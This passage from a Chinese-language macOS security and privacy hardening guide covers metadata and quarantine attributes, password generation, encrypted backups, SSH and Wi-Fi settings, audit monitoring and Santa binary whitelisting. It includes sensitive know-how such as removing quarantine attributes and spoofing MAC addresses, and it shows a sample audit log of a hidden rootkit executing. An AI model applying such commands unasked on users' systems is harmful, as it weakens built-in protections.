`mdls` 和 `xattr` 指令来观察：\n\n```\n$ ls -l@ ~/Downloads/TorBrowser-6.0.8-osx64_en-US.dmg\n-rw-r--r--@ 1 drduh  staff  59322237 Dec  1 12:00 TorBrowser-6.0.8-osx64_en-US.dmg\ncom.apple.metadata:kMDItemWhereFroms\t     186\ncom.apple.quarantine\t      68\n\n$ mdls ~/Downloads/TorBrowser-6.0.8-osx64_en-US.dmg\n_kMDItemOwnerUserID            = 501\nkMDItemContentCreationDate     = 2016-12-01 12:00:00 +0000\nkMDItemContentModificationDate = 2016-12-01 12:00:00 +0000\nkMDItemContentType             = \"com.apple.disk-image-udif\"\nkMDItemContentTypeTree         = (\n    \"public.archive\",\n    \"public.item\",\n    \"public.data\",\n    \"public.disk-image\",\n    \"com.apple.disk-image\",\n    \"com.apple.disk-image-udif\"\n)\nkMDItemDateAdded               = 2016-12-01 12:00:00 +0000\nkMDItemDisplayName             = \"TorBrowser-6.0.8-osx64_en-US.dmg\"\nkMDItemFSContentChangeDate     = 2016-12-01 12:00:00 +0000\nkMDItemFSCreationDate          = 2016-12-01 12:00:00 +0000\nkMDItemFSCreatorCode           = \"\"\nkMDItemFSFinderFlags           = 0\nkMDItemFSHasCustomIcon         = (null)\nkMDItemFSInvisible             = 0\nkMDItemFSIsExtensionHidden     = 0\nkMDItemFSIsStationery          = (null)\nkMDItemFSLabel                 = 0\nkMDItemFSName                  = \"TorBrowser-6.0.8-osx64_en-US.dmg\"\nkMDItemFSNodeCount             = (null)\nkMDItemFSOwnerGroupID          = 5000\nkMDItemFSOwnerUserID           = 501\nkMDItemFSSize                  = 60273898\nkMDItemFSTypeCode              = \"\"\nkMDItemKind                    = \"Disk Image\"\nkMDItemLogicalSize             = 60273898\nkMDItemPhysicalSize            = 60276736\nkMDItemWhereFroms              = (\n    \"https://dist.torproject.org/torbrowser/6.0.8/TorBrowser-6.0.8-osx64_en-US.dmg\",\n    \"https://www.torproject.org/projects/torbrowser.html.en\"\n)\n\n$ xattr -l TorBrowser-6.0.8-osx64_en-US.dmg\ncom.apple.metadata:kMDItemWhereFroms:\n00000000  62 70 6C 69 73 74 30 30 A2 01 02 5F 10 4D 68 74  |bplist00..._.Mht|\n00000010  74 70 73 3A 2F 2F 64 69 73 74 2E 74 6F 72 70 72  |tps://dist.torpr|\n00000020  6F 6A 65 63 74 2E 6F 72 67 2F 74 6F 72 62 72 6F  |oject.org/torbro|\n00000030  77 73 65 72 2F 36 2E 30 2E 38 2F 54 6F 72 42 72  |wser/6.0.8/TorBr|\n00000040  6F 77 73 65 72 2D 36 2E 30 2E 38 2D 6F 73 78 36  |owser-6.0.8-osx6|\n00000050  34 5F 65 6E 2D 55 53 2E 64 6D 67 5F 10 36 68 74  |4_en-US.dmg_.6ht|\n00000060  74 70 73 3A 2F 2F 77 77 77 2E 74 6F 72 70 72 6F  |tps://www.torpro|\n00000070  6A 65 63 74 2E 6F 72 67 2F 70 72 6F 6A 65 63 74  |ject.org/project|\n00000080  73 2F 74 6F 72 62 72 6F 77 73 65 72 2E 68 74 6D  |s/torbrowser.htm|\n00000090  6C 2E 65 6E 08 0B 5B 00 00 00 00 00 00 01 01 00  |l.en..[.........|\n000000A0  00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00  |................|\n000000B0  00 00 00 00 00 00 94                             |.......|\n000000b7\ncom.apple.quarantine: 0081;58519ffa;Google Chrome.app;1F032CAB-F5A1-4D92-84EB-CBECA971B7BC\n```\n\n可以使用 `-d` 指令标志移除原数据属性:\n\n```\n$ xattr -d com.apple.metadata:kMDItemWhereFroms ~/Downloads/TorBrowser-6.0.5-osx64_en-US.dmg\n\n$ xattr -d com.apple.quarantine ~/Downloads/TorBrowser-6.0.5-osx64_en-US.dmg\n\n$ xattr -l ~/Downloads/TorBrowser-6.0.5-osx64_en-US.dmg\n[No output after removal.]\n```\n\n## 密码\n\n你可以使用 OpenSSL 生成强密码：\n\n    $ openssl rand -base64 30\n    LK9xkjUEAemc1gV2Ux5xqku+PDmMmCbSTmwfiMRI\n\n或者 GPG：\n\n    $ gpg --gen-random -a 0 30\n    4/bGZL+yUEe8fOqQhF5V01HpGwFSpUPwFcU3aOWQ\n\n或 `/dev/urandom` 输出：\n\n    $ dd if=/dev/urandom bs=1 count=30 2>/dev/null | base64\n    CbRGKASFI4eTa96NMrgyamj8dLZdFYBaqtWUSxKe\n\n还可以控制字符集：\n\n    $ LANG=C tr -dc 'a-zA-Z0-9' < /dev/urandom | fold -w 40 | head -n 1\n    jm0iKn7ngQST8I0mMMCbbi6SKPcoUWwCb5lWEjxK\n\n    $ LANG=C tr -dc 'DrDuh0-9' < /dev/urandom | fold -w 40 | head -n 1\n    686672u2Dh7r754209uD312hhh23uD7u41h3875D\n\n你也可以用 **Keychain Access（钥匙串访问）**生成一个令人难忘的密码，或者用 [anders/pwgen](https://github.com/anders/pwgen) 这样的命令行生成。\n\n钥匙串使用 [PBKDF2 派生密钥](https://en.wikipedia.org/wiki/PBKDF2)加密，是个**非常安全**存储凭据的地方。看看 [Breaking into the OS X keychain](http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain)。还要注意钥匙串[不加密](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues/118)的密码对应密码输入的名称。\n\n或者，可以自己用 GnuPG (基于 [drduh/pwd.sh](https://github.com/drduh/pwd.sh) 密码管理脚本的一个插件)管理一个加密的密码文件。\n\n除密码外，确保像 GitHub、 Google 账号、银行账户这些网上的账户，开启[两步验证](https://en.wikipedia.org/wiki/Two-factor_authentication)。\n\n看看 [Yubikey](https://www.yubico.com/products/yubikey-hardware/yubikey-neo/) 的两因素和私钥(如：ssh、gpg)硬件令牌。 阅读 [drduh/YubiKey-Guide](https://github.com/drduh/YubiKey-Guide) 和 [trmm.net/Yubikey](https://trmm.net/Yubikey)。两个 Yubikey 的插槽之一可以通过编程来生成一个长的静态密码（例如可以与短的，记住的密码结合使用）。\n\n## 备份\n\n备份到外部介质或在线服务之前，总是先对本地文件进行加密。\n\n一种方法是使用 GPG 对称加密，你选择一个密码。\n\n加密一个文件夹:\n\n    $ tar zcvf - ~/Downloads | gpg -c > ~/Desktop/backup-$(date +%F-%H%M).tar.gz.gpg\n\n解密文档:\n\n    $ gpg -o ~/Desktop/decrypted-backup.tar.gz -d ~/Desktop/backup-2015-01-01-0000.tar.gz.gpg && \\\n      tar zxvf ~/Desktop/decrypted-backup.tar.gz\n\n你也可以用 **Disk Utility** 或 `hdiutil` 创建加密卷：\n\n    $ hdiutil create ~/Desktop/encrypted.dmg -encryption -size 1g -volname \"Name\" -fs JHFS+\n\n也可以考虑使用下面的应用和服务：[SpiderOak](https://spideroak.com/)、[Arq](https://www.arqbackup.com/)、[Espionage](https://www.espionageapp.com/) 和 [restic](https://restic.github.io/)。\n\n## Wi-Fi\n\nmacOS 会记住它连接过的接入点。比如所有无线设备，每次搜寻网络的时候，Mac 将会显示所有它记住的接入点名称（如 *MyHomeNetwork*） ，比如每次从休眠状态唤醒设备的时候。\n\n这就有泄漏隐私的风险，所以当不再需要的时候最好从列表中移除这些连接过的网络， 在 **System Preferences** > **Network** > **Advanced** 。\n\n看看 [Signals from the Crowd: Uncovering Social Relationships through Smartphone Probes](http://conferences.sigcomm.org/imc/2013/papers/imc148-barberaSP106.pdf) (pdf) 和 [Wi-Fi told me everything about you](http://confiance-numerique.clermont-universite.fr/Slides/M-Cunche-2014.pdf) (pdf)。\n\n保存的 Wi-Fi 信息 (SSID、最后一次连接等)可以在 `/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist` 中找到。\n\n你可能希望在连接到新的和不可信的无线网络之前[伪造网卡 MAC 地址](https://en.wikipedia.org/wiki/MAC_spoofing)，以减少被动特征探测：\n\n    $ sudo ifconfig en0 ether $(openssl rand -hex 6 | sed 's%\\(..\\)%\\1:%g; s%.$%%')\n\n**注意**每次启动，MAC 地址将重置为硬件默认地址。\n\n了解下 [feross/SpoofMAC](https://github.com/feross/SpoofMAC).\n\n最后，WEP 保护在无线网络是[不安全](http://www.howtogeek.com/167783/htg-explains-the-difference-between-wep-wpa-and-wpa2-wireless-encryption-and-why-it-matters/)的，你应该尽量选择连接 **WPA2** 保护网络，可以减少被窃听的风险。\n\n## SSH\n\n对于向外的 ssh 连接，使用硬件或密码保护的秘钥，[设置](http://nerderati.com/2011/03/17/simplify-your-life-with-an-ssh-config-file/)远程 hosts 并考虑对它们进行[哈希](http://nms.csail.mit.edu/projects/ssh/)，以增强安全性。\n\n将这几个[配置项](https://www.freebsd.org/cgi/man.cgi?query=ssh_config&sektion=5)加到 `~/.ssh/config`:\n\n    Host *\n      PasswordAuthentication no\n      ChallengeResponseAuthentication no\n      HashKnownHosts yes\n\n**注意** [macOS Sierra 默认永久记住 SSH 秘钥密码](https://openradar.appspot.com/28394826)。添加配置 `UseKeyChain no` 来关闭这项功能。\n\n你也可以用 ssh 创建一个[加密隧道](http://blog.trackets.com/2014/05/17/ssh-tunnel-local-and-remote-port-forwarding-explained-with-examples.html)来发送数据，这有点类似于 VPN。\n\n例如，在一个远程主机上使用 Privoxy：\n\n    $ ssh -C -L 5555:127.0.0.1:8118 you@remote-host.tld\n\n    $ sudo networksetup -setwebproxy \"Wi-Fi\" 127.0.0.1 5555\n\n    $ sudo networksetup -setsecurewebproxy \"Wi-Fi\" 127.0.0.1 5555\n\n或者使用 ssh 连接作为 [SOCKS 代理](https://www.mikeash.com/ssh_socks.html)：\n\n    $ ssh -NCD 3000 you@remote-host.tld\n\n默认情况下， macOS **没有** sshd ，也不允许**远程登陆**。\n\n启用 sshd 且允许进入的 ssh 连接：\n\n    $ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist\n\n或者设置 **System Preferences** > **Sharing** 菜单。\n\n如果你准备使用 sshd，至少禁用密码身份验证并考虑进一步[强化](https://stribika.github.io/2015/01/04/secure-secure-shell.html)配置。\n\n找到 `/etc/sshd_config`，添加：\n\n```\nPasswordAuthentication no\nChallengeResponseAuthentication no\nUsePAM no\n```\n\n确认 sshd 是否启用:\n\n    $ sudo lsof -Pni TCP:22\n\n## 物理访问\n\n时刻保证 Mac 物理安全。不要将 Mac 留在无人照看的酒店之类的地方。\n\n有一种攻击就是通过物理访问，通过注入引导 ROM 来安装键盘记录器，偷走你的密码。看看这个案例 [Thunderstrike](https://trmm.net/Thunderstrike)。\n\n有个工具 [usbkill](https://github.com/hephaest0s/usbkill) 可以帮助你，这是**\"一个反监视断路开关，一旦发现 USB 端口发生改变就会关闭你的计算机\"**。\n\n考虑购买屏幕[隐私过滤器](https://www.amazon.com/s/ref=nb_sb_noss_2?url=node%3D15782001&field-keywords=macbook)防止别人偷瞄。\n\n\n## 系统监控\n\n#### OpenBSM 监测\n\nmacOS 具有强大的 OpenBSM 审计功能。你可以使用它来监视进程执行、网络活动等等。\n\n跟踪监测日志，使用 `praudit` 工具：\n\n```\n$ sudo praudit -l /dev/auditpipe\nheader,201,11,execve(2),0,Thu Sep  1 12:00:00 2015, + 195 msec,exec arg,/Applications/.evilapp/rootkit,path,/Applications/.evilapp/rootkit,path,/Applications/.evilapp/rootkit,attribute,100755,root,wheel,16777220,986535,0,subject,drduh,root,wheel,root,wheel,412,100005,50511731,0.0.0.0,return,success,0,trailer,201,\nheader,88,11,connect(2),0,Thu Sep  1 12:00:00 2015, + 238 msec,argument,1,0x5,fd,socket-inet,2,443,173.194.74.104,subject,drduh,root,wheel,root,wheel,326,100005,50331650,0.0.0.0,return,failure : Operation now in progress,4354967105,trailer,88\nheader,111,11,OpenSSH login,0,Thu Sep  1 12:00:00 2015, + 16 msec,subject_ex,drduh,drduh,staff,drduh,staff,404,404,49271,::1,text,successful login drduh,return,success,0,trailer,111,\n```\n\n看看 `audit`、`praudit`、`audit_control` 的操作手册，其它文件在 `/etc/security`目录下。\n\n**注意**虽然 `audit 手册` 上说 `-s` 标签会立即同步到配置中，实际上需要重启才能生效。\n\n更多信息请看 [ilostmynotes.blogspot.com](http://ilostmynotes.blogspot.com/2013/10/openbsm-auditd-on-os-x-these-are-logs.html) 和 [derflounder.wordpress.com](https://derflounder.wordpress.com/2012/01/30/openbsm-auditing-on-mac-os-x/) 上的文章。\n\n#### DTrace\n\n`iosnoop` 监控磁盘 I/O\n\n`opensnoop` 监控文件打开\n\n`execsnoop` 监控进程执行\n\n`errinfo` 监控失败的系统调用\n\n`dtruss` 监控所有系统调用\n\n运行命令 `man -k dtrace` 去了解更多信息。\n\n**注意**[系统完整性保护](https://github.com/drduh/OS-X-Security-and-Privacy-Guide#system-integrity-protection)和 DTrace [冲突](http://internals.exposed/blog/dtrace-vs-sip.html)，所以这些工具可能用不上了。\n\n#### 运行\n\n`ps -ef` 列出所有正在运行的进程。\n\n你也可以通过**活动监视器**来查看进程。\n\n`launchctl list` 和 `sudo launchctl list` 分别列出用户运行和加载的程序、系统启动守护程序和代理。\n\n#### 网络\n\n列出公开网络文件：\n\n    $ sudo lsof -Pni\n\n列出各种网络相关的数据结构的内容：\n\n    $ sudo netstat -atln\n\n你也可以通过命令行使用 [Wireshark](https://www.wireshark.org/)。\n\n监控 DNS 查询和响应：\n\n```\n$ tshark -Y \"dns.flags.response == 1\" -Tfields \\\n  -e frame.time_delta \\\n  -e dns.qry.name \\\n  -e dns.a \\\n  -Eseparator=,\n```\n\n监控 HTTP 请求和响应：\n\n```\n$ tshark -Y \"http.request or http.response\" -Tfields \\\n  -e ip.dst \\\n  -e http.request.full_uri \\\n  -e http.request.method \\\n  -e http.response.code \\\n  -e http.response.phrase \\\n  -Eseparator=/s\n```\n\n监控 x509 证书：\n\n```\n$ tshark -Y \"ssl.handshake.certificate\" -Tfields \\\n  -e ip.src \\\n  -e x509sat.uTF8String \\\n  -e x509sat.printableString \\\n  -e x509sat.universalString \\\n  -e x509sat.IA5String \\\n  -e x509sat.teletexString \\\n  -Eseparator=/s -Equote=d\n```\n\n也可以考虑简单的网络监控程序 [BonzaiThePenguin/Loading](https://github.com/BonzaiThePenguin/Loading)。\n\n## 二进制白名单\n\n[google/santa](https://github.com/google/santa/) 是一款为 Google 公司 Macintosh 团队开发的一款安全软件，而且是开源的。\n\n> Santa 是 macOS 上一个二进制白名单/黑名单系统。它由多个部分组成，一个是监控执行程序的内核扩展，基于 SQLite 数据库内容进行执行决策的用户级守护进程，决定拦截的情况下通知用户的一个 GUI 代理，以及用于管理系统和数据库同步服务的命令行实用程序。\n\nSanta 使用[内核授权 API](https://developer.apple.com/library/content/technotes/tn2127/_index.html) 来监视和允许/禁止在内核中执行二进制文件。二进制文件可以是经过唯一哈希或开发者证书签名的白/黑名单。Santa 可以用来只允许执行可信代码，或者阻止黑名单中已知恶意软件在 Mac 上运行，和 Windows 软件 Bit9 类似。\n\n**注意** Santa 目前还没有管理规则的用户图形界面。下面的教程是为高级用户准备的！\n\n安装 Santa，先访问[发布](https://github.com/google/santa/releases)页面，下载最新的磁盘镜像，挂载然后安装相关软件包：\n\n```\n$ hdiutil mount ~/Downloads/santa-0.9.14.dmg\n\n$ sudo installer -pkg /Volumes/santa-0.9.14/santa-0.9.14.pkg -tgt /\n```\n\nSanta 默认安装为 \"Monitor\" 模式 (不拦截，只记录)，有两个规则：一条是为了 Apple 二进制，另一条是为了 Santa 软件本身。\n\n验证 Santa 是否在运行，内核模块是否加载：\n\n```\n$ santactl status\n>>> Daemon Info\n  Mode                   | Monitor\n  File Logging           | No\n  Watchdog CPU Events    | 0  (Peak: 0.00%)\n  Watchdog RAM Events    | 0  (Peak: 0.00MB)\n>>> Kernel Info\n  Kernel cache count     | 0\n>>> Database Info\n  Binary Rules           | 0\n  Certificate Rules      | 2\n  Events Pending Upload  | 0\n\n$ ps -ef | grep \"[s]anta\"\n    0   786     1   0 10:01AM ??         0:00.39 /Library/Extensions/santa-driver.kext/Contents/MacOS/santad --syslog\n\n$ kextstat | grep santa\n  119    0 0xffffff7f822ff000 0x6000     0x6000     com.google.santa-driver (0.9.14) 693D8E4D-3161-30E0-B83D-66A273CAE026 <5 4 3 1>\n```\n\n创建一个黑名单规则来阻止 iTunes 运行：\n\n    $ sudo santactl rule --blacklist --path /Applications/iTunes.app/\n    Added rule for SHA-256: e1365b51d2cb2c8562e7f1de36bfb3d5248de586f40b23a2ed641af2072225b3.\n\n试试打开 iTunes ，它会被阻止运行。\n\n    $ open /Applications/iTunes.app/\n    LSOpenURLsWithRole() failed with error -10810 for the file /Applications/iTunes.app.\n\n<img width=\"450\" alt=\"Santa block dialog when attempting to run a blacklisted program\" src=\"https://cloud.githubusercontent.com/assets/12475110/21062284/14ddde88-be1e-11e6-8e9b-32f8a44c0cf6.png\">\n\n移除规则：\n\n    $ sudo santactl rule --remove --path /Applications/iTunes.app/\n    Removed rule for SHA-256: e1365b51d2cb2c8562e7f1de36bfb3d5248de586f40b23a2ed641af2072225b3.\n\n打开 iTunes：\n\n    $ open /Applications/iTunes.app/\n    [iTunes will open successfully]\n\n创建一个新的 C 语言小程序：\n\n```\n$ cat <<EOF > foo.c\n> #include <stdio.h>\n> main() { printf(\"Hello World\\n”); }\n> EOF\n```\n\n用 GCC 编译该程序（需要安装 Xcode 或者命令行工具）：\n\n```\n$ gcc -o foo foo.c\n\n$ file foo\nfoo: Mach-O 64-bit executable x86_64\n\n$ codesign -d foo\nfoo: code object is not signed at all\n```\n\n运行它：\n\n```\n$ ./foo\nHello World\n```\n\n将 Santa 切换为 “Lockdown” 模式，这种情况下只允许白名单内二进制程序运行：\n\n    $ sudo defaults write /var/db/santa/config.plist ClientMode -int 2\n\n试试运行未签名的二进制：\n\n```\n$ ./foo\nbash: ./foo: Operation not permitted\n\nSanta\n\nThe following application has been blocked from executing\nbecause its trustworthiness cannot be determined.\n\nPath:       /Users/demouser/foo\nIdentifier: 4e11da26feb48231d6e90b10c169b0f8ae1080f36c168ffe53b1616f7505baed\nParent:     bash (701)\n```\n想要在白名单中添加一个指定的二进制，确定其 SHA-256 值：\n\n```\n$ santactl fileinfo /Users/demouser/foo\nPath                 : /Users/demouser/foo\nSHA-256              : 4e11da26feb48231d6e90b10c169b0f8ae1080f36c168ffe53b1616f7505baed\nSHA-1                : 4506f3a8c0a5abe4cacb98e6267549a4d8734d82\nType                 : Executable (x86-64)\nCode-signed          : No\nRule                 : Blacklisted (Unknown)\n```\n\n增加一条白名单规则：\n\n    $ sudo santactl rule --whitelist --sha256 4e11da26feb48231d6e90b10c169b0f8ae1080f36c168ffe53b1616f7505baed\n    Added rule for SHA-256: 4e11da26feb48231d6e90b10c169b0f8ae1080f36c168ffe53b1616f7505baed.\n\n运行它：\n\n```\n$ ./foo\nHello World\n```\n\n小程序没有被阻止，它成功的运行了。\n\n应用程序也可以通过开发者签名来加到白名单中（这样每次更新应用程序的时候，新版本的二进制文件就不用手动加到白名单中了）。例如，下载运行 Google Chrome ，  在 \"Lockdown\" 模式下 Santa 会阻止它运行：\n\n```\n$ curl -sO https://dl.google.com/chrome/mac/stable/GGRO/googlechrome.dmg\n\n$ hdiutil mount googlechrome.dmg\n\n$ cp -r /Volumes/Google\\ Chrome/Google\\ Chrome.app /Applications/\n\n$ open /Applications/Google\\ Chrome.app/\nLSOpenURLsWithRole() failed with error -10810 for the file /Applications/Google Chrome.app.\n```\n\n通过它自己的开发者签名将应用加到白名单中（Signing Chain 中第一项）：\n\n```\n$ santactl fileinfo /Applications/Google\\ Chrome.app/\nPath                 : /Applications/Google Chrome.app/Contents/MacOS/Google Chrome\nSHA-256              : 0eb08224d427fb1d87d2276d911bbb6c4326ec9f74448a4d9a3cfce0c3413810\nSHA-1                : 9213cbc7dfaaf7580f3936a915faa56d40479f6a\nBundle Name          : Google Chrome\nBundle Version       : 2883.87\nBundle Version Str   : 55.0.2883.87\nType                 : Executable (x86-64)\nCode-signed          : Yes\nRule                 : Blacklisted (Unknown)\nSigning Chain:\n     1. SHA-256             : 15b8ce88e10f04c88a5542234fbdfc1487e9c2f64058a05027c7c34fc4201153\n        SHA-1               : 85cee8254216185620ddc8851c7a9fc4dfe120ef\n        Common Name         : Developer ID Application: Google Inc.\n        Organization        : Google Inc.\n        Organizational Unit : EQHXZ8M8AV\n        Valid From          : 2012/04/26 07:10:10 -0700\n        Valid Until         : 2017/04/27 07:10:10 -0700\n\n     2. SHA-256             : 7afc9d01a62f03a2de9637936d4afe68090d2de18d03f29c88cfb0b1ba63587f\n        SHA-1               : 3b166c3b7dc4b751c9fe2afab9135641e388e186\n        Common Name         : Developer ID Certification Authority\n        Organization        : Apple Inc.\n        Organizational Unit : Apple Certification Authority\n        Valid From          : 2012/02/01 14:12:15 -0800\n        Valid Until         : 2027/02/01 14:12:15 -0800\n\n     3. SHA-256             : b0b1730ecbc7ff4505142c49f1295e6eda6bcaed7e2c68c5be91b5a11001f024\n        SHA-1               : 611e5b662c593a08ff58d14ae22452d198df6c60\n        Common Name         : Apple Root CA\n        Organization        : Apple Inc.\n        Organizational Unit : Apple Certification Authority\n        Valid From          : 2006/04/25 14:40:36 -0700\n        Valid Until         : 2035/02/09 13:40:36 -0800\n```\n\n这个例子中， `15b8ce88e10f04c88a5542234fbdfc1487e9c2f64058a05027c7c34fc4201153` 是 Google’s Apple 开发者证书的 SHA-256 (team ID EQHXZ8M8AV)。 将它加到白名单中：\n\n```\n$ sudo santactl rule --whitelist --certificate --sha256 15b8ce88e10f04c88a5542234fbdfc1487e9c2f64058a05027c7c34fc4201153\nAdded rule for SHA-256: 15b8ce88e10f04c88a5542234fbdfc1487e9c2f64058a05027c7c34fc4201153.\n```\n\nGoogle Chrome 现在应该可以启动了，以后的更新也不会被阻止，除非签名证书修改了或过期了。\n\n关闭 “Lockdown” 模式：\n\n    $ sudo defaults delete /var/db/santa/config.plist ClientMode\n\n在 `/var/log/santa.log` 可以查看监控器**允许**和**拒绝**执行的决策记录。\n\n**注意** Python、Bash 和其它解释性语言是在白名单中的（因为它们是由苹果开发者证书签名的），所以 Santa 不会阻止这些脚本的运行。因此，要注意到 Santa 可能无法有效的拦截非二进制程序运行（这不算漏洞，因为它本身就这么设计的）。\n\n## 其它\n\n如果你想的话，禁用[诊断与用量](https://github.com/fix-macosx/fix-macosx/wiki/Diagnostics-&-Usage-Data).\n\n如果你想播放**音乐**或看**视频**，使用 [VLC 播放器](https://www.videolan.org/vlc/index.html)，这是免费且开源的。\n\n如果你想用 **torrents**， 使用免费、开源的 [Transmission](http://www.transmissionbt.com/download/)（注意：所有软件都一样，即使是开源项目，[恶意软件还是可能找到破解的方式](http://researchcenter.paloaltonetworks.com/2016/03/new-os-x-ransomware-keranger-infected-transmission-bittorrent-client-installer/)）。你可能希望使用一个块列表来避免和那些已知的坏主机配对，了解下 [Transmission 上最好的块列表](https://giuliomac.wordpress.com/2014/02/19/best-blocklist-for-transmission/) 和 [johntyree/3331662](https://gist.github.com/johntyree/3331662)。\n\n用 [duti](http://duti.org/) 管理默认文件处理，可以通过 `brew install duti` 来安装。管理扩展的原因之一是为了防止远程文件系统在 Finder 中自动挂载。 ([保护自己免受 Sparkle 后门影响](https://www.taoeffect.com/blog/2016/02/apologies-sky-kinda-falling-protecting-yourself-from-sparklegate/))。这里有几个推荐的管理指令：\n\n```\n$ duti -s com.apple.Safari afp\n\n$ duti -s com.apple.Safari ftp\n\n$ duti -s com.apple.Safari nfs\n\n$ duti -s com.apple.Safari smb\n```\n\n使用**控制台**应用程序来监控系统日志，也可以用 `syslog -w` 或 `log stream` 命令。\n\n在 macOS Sierra (10.12) 之前的系统，在 `/etc/sudoers`启用 [tty_tickets flag](https://derflounder.wordpress.com/2016/09/21/tty_tickets-option-now-on-by-default-for-macos-sierras-sudo-tool/) 来阻止 sudo 会话在其它终端生效。使用命令 `sudo visudo` 然后添加一行 `Defaults    tty_tickets` 就可以了。\n\n设置进入休眠状态时马上启动屏幕保护程序：\n\n    $ defaults write com.apple.screensaver askForPassword -int 1\n\n    $ defaults write com.apple.screensaver askForPasswordDelay -int 0\n\n在 Finder 中显示隐藏文件和文件夹：\n\n    $ defaults write com.apple.finder AppleShowAllFiles -bool true\n\n    $ chflags nohidden ~/Library\n\n显示所有文件扩展名（这样 \"Evil.jpg.app\" 就无法轻易伪装了）。\n\n    $ defaults write NSGlobalDomain AppleShowAllExtensions -bool true\n\n不要默认将文档保存到 iCloud：\n\n    $ defaults write NSGlobalDomain NSDocumentSaveNewDocumentsToCloud -bool false\n\n在终端启用[安全键盘输入](https://security.stackexchange.com/questions/47749/how-secure-is-secure-keyboard-entry-in-mac-os-xs-terminal)（除非你用 [YubiKey](https://mig5.net/content/secure-keyboard-entry-os-x-blocks-interaction-yubikeys) 或者像 [TextExpander](https://smilesoftware.com/textexpander/secureinput) 这样的程序）。\n\n禁用崩溃报告（就是那个在程序崩溃后，会出现提示将问题报告给苹果的提示框）：\n\n    $ defaults write com.apple.CrashReporter DialogType none\n\n禁用 Bonjour [多播广告](https://www.trustwave.com/Resources/SpiderLabs-Blog/mDNS---Telling-the-world-about-you-(and-your-device)/):\n\n    $ sudo defaults write /Library/Preferences/com.apple.mDNSResponder.plist NoMulticastAdvertisements -bool YES\n\n如果用不上的话，[禁用 Handoff](https://apple.stackexchange.com/questions/151481/why-is-my-macbook-visibile-on-bluetooth-after-yosemite-install) 和蓝牙功能。\n\n考虑 [sandboxing](https://developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/man1/sandbox-exec.1.html) 你的应用程序。 了解下 [fG! Sandbox Guide](https://reverse.put.as/wp-content/uploads/2011/09/Apple-Sandbox-Guide-v0.1.pdf) (pdf) 和 [s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles)。\n\n你知道苹果公司自 [2006](http://osxbook.com/book/bonus/chapter10/tpm/) 后就不再出售带 TPM 的电脑了吗？\n\n## 相关软件\n\n[Santa](https://github.com/google/santa/) - macOS 上一个带二进制白名单/黑名单监控系统的软件。\n\n[kristovatlas/osx-config-check](https://github.com/kristovatlas/osx-config-check) - 检查你的 OSX 设备各种硬件配置设置。\n\n[Lockdown](https://objective-see.com/products/lockdown.html) - 审查和修正安全配置。\n\n[Dylib Hijack Scanner](https://objective-see.com/products/dhs.html) - 扫描那些容易被劫持或已经被黑的应用。\n\n[Little Flocker](https://www.littleflocker.com/) - \"Little Snitch for files\"， 防止应用程序访问文件。\n\n[facebook/osquery](https://github.com/facebook/osquery) - 可以检索系统底层信息。用户可以编写 SQL 来查询系统信息。\n\n[google/grr](https://github.com/google/grr) - 事件响应框架侧重于远程现场取证。\n\n[yelp/osxcollector](https://github.com/yelp/osxcollector) - 证据收集 & OS X 分析工具包。\n\n[jipegit/OSXAuditor](https://github.com/jipegit/OSXAuditor) - 分析运行系统时的部件，比如隔离的文件， Safari、 Chrome 和 Firefox 历史记录， 下载，HTML5 数据库和本地存储、社交媒体、电子邮件帐户、和 Wi-Fi 接入点的名称。\n\n[libyal/libfvde](https://github.com/libyal/libfvde) - 访问 FileVault Drive Encryption (FVDE) (或 FileVault2) 加密卷的库。\n\n[CISOfy/lynis](https://github.com/CISOfy/lynis) - 跨平台安全审计工具，并协助合规性测试和系统强化。\n\n## 其它资源\n\n**排名不分先后**\n\n[MacOS Hardening Guide - Appendix of \\*OS Internals: Volume III - Security & Insecurity Internals](http://newosxbook.com/files/moxii3/AppendixA.pdf) (pdf)\n\n[Mac Developer Library: Secure Coding Guide](https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Introduction.html)\n\n[OS X Core Technologies Overview White Paper](https://www.apple.com/osx/all-features/pdf/osx_elcapitan_core_technologies_overview.pdf) (pdf)\n\n[Reverse Engineering Mac OS X blog](https://reverse.put.as/)\n\n[Reverse Engineering Resources](http://samdmarshall.com/re.html)\n\n[Patrick Wardle's Objective-See blog](https://objective-see.com/blog.html)\n\n[Managing Macs at Google Scale (LISA '13)](https://www.usenix.org/conference/lisa13/managing-macs-google-scale)\n\n[OS X Hardening: Securing a Large Global Mac Fleet (LISA '13)](https://www.usenix.org/conference/lisa13/os-x-hardening-securing-large-global-mac-fleet)\n\n[DoD Security Technical Implementation Guides for Mac OS](http://iase.disa.mil/stigs/os/mac/Pages/mac-os.aspx)\n\n[The EFI boot process](http://homepage.ntlworld.com/jonathan.deboynepollard/FGA/efi-boot-process.html)\n\n[The Intel Mac boot process](http://refit.sourceforge.net/info/boot_process.html)\n\n[Userland Persistence on Mac OS X](https://archive.org/details/joshpitts_shmoocon2015)\n\n[Developing Mac OSX kernel rootkits](http://phrack.org/issues/66/16.html#article)\n\n[IOKit kernel code execution exploit](https://code.google.com/p/google-security-research/issues/detail?id=135)\n\n[Hidden backdoor API to root privileges in Apple OS X](https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/)\n\n[IPv6 Hardening Guide for OS X](http://www.insinuator.net/2015/02/ipv6-hardening-guide-for-os-x/)\n\n[Harden the World: Mac OSX 10.11 El Capitan](http://docs.hardentheworld.org/OS/OSX_10.11_El_Capitan/)\n\n[Hacker News discussion](https://news.ycombinator.com/item?id=10148077)\n\n[Hacker News discussion 2](https://news.ycombinator.com/item?id=13023823)\n\n[Apple Open Source](https://opensource.apple.com/)\n\n[OS X 10.10 Yosemite: The Ars Technica Review](http://arstechnica.com/apple/2014/10/os-x-10-10/)\n\n[CIS Apple OSX 10.10 Benchmark](https://benchmarks.cisecurity.org/tools2/osx/CIS_Apple_OSX_10.10_Benchmark_v1.1.0.pdf) (pdf)\n\n[How to Switch to the Mac](https://taoofmac.com/space/HOWTO/Switch)\n\n[Security Configuration For Mac OS X Version 10.6 Snow Leopard](http://www.apple.com/support/security/guides/docs/SnowLeopard_Security_Config_v10.6.pdf) (pdf)\n\n[EFF Surveillance 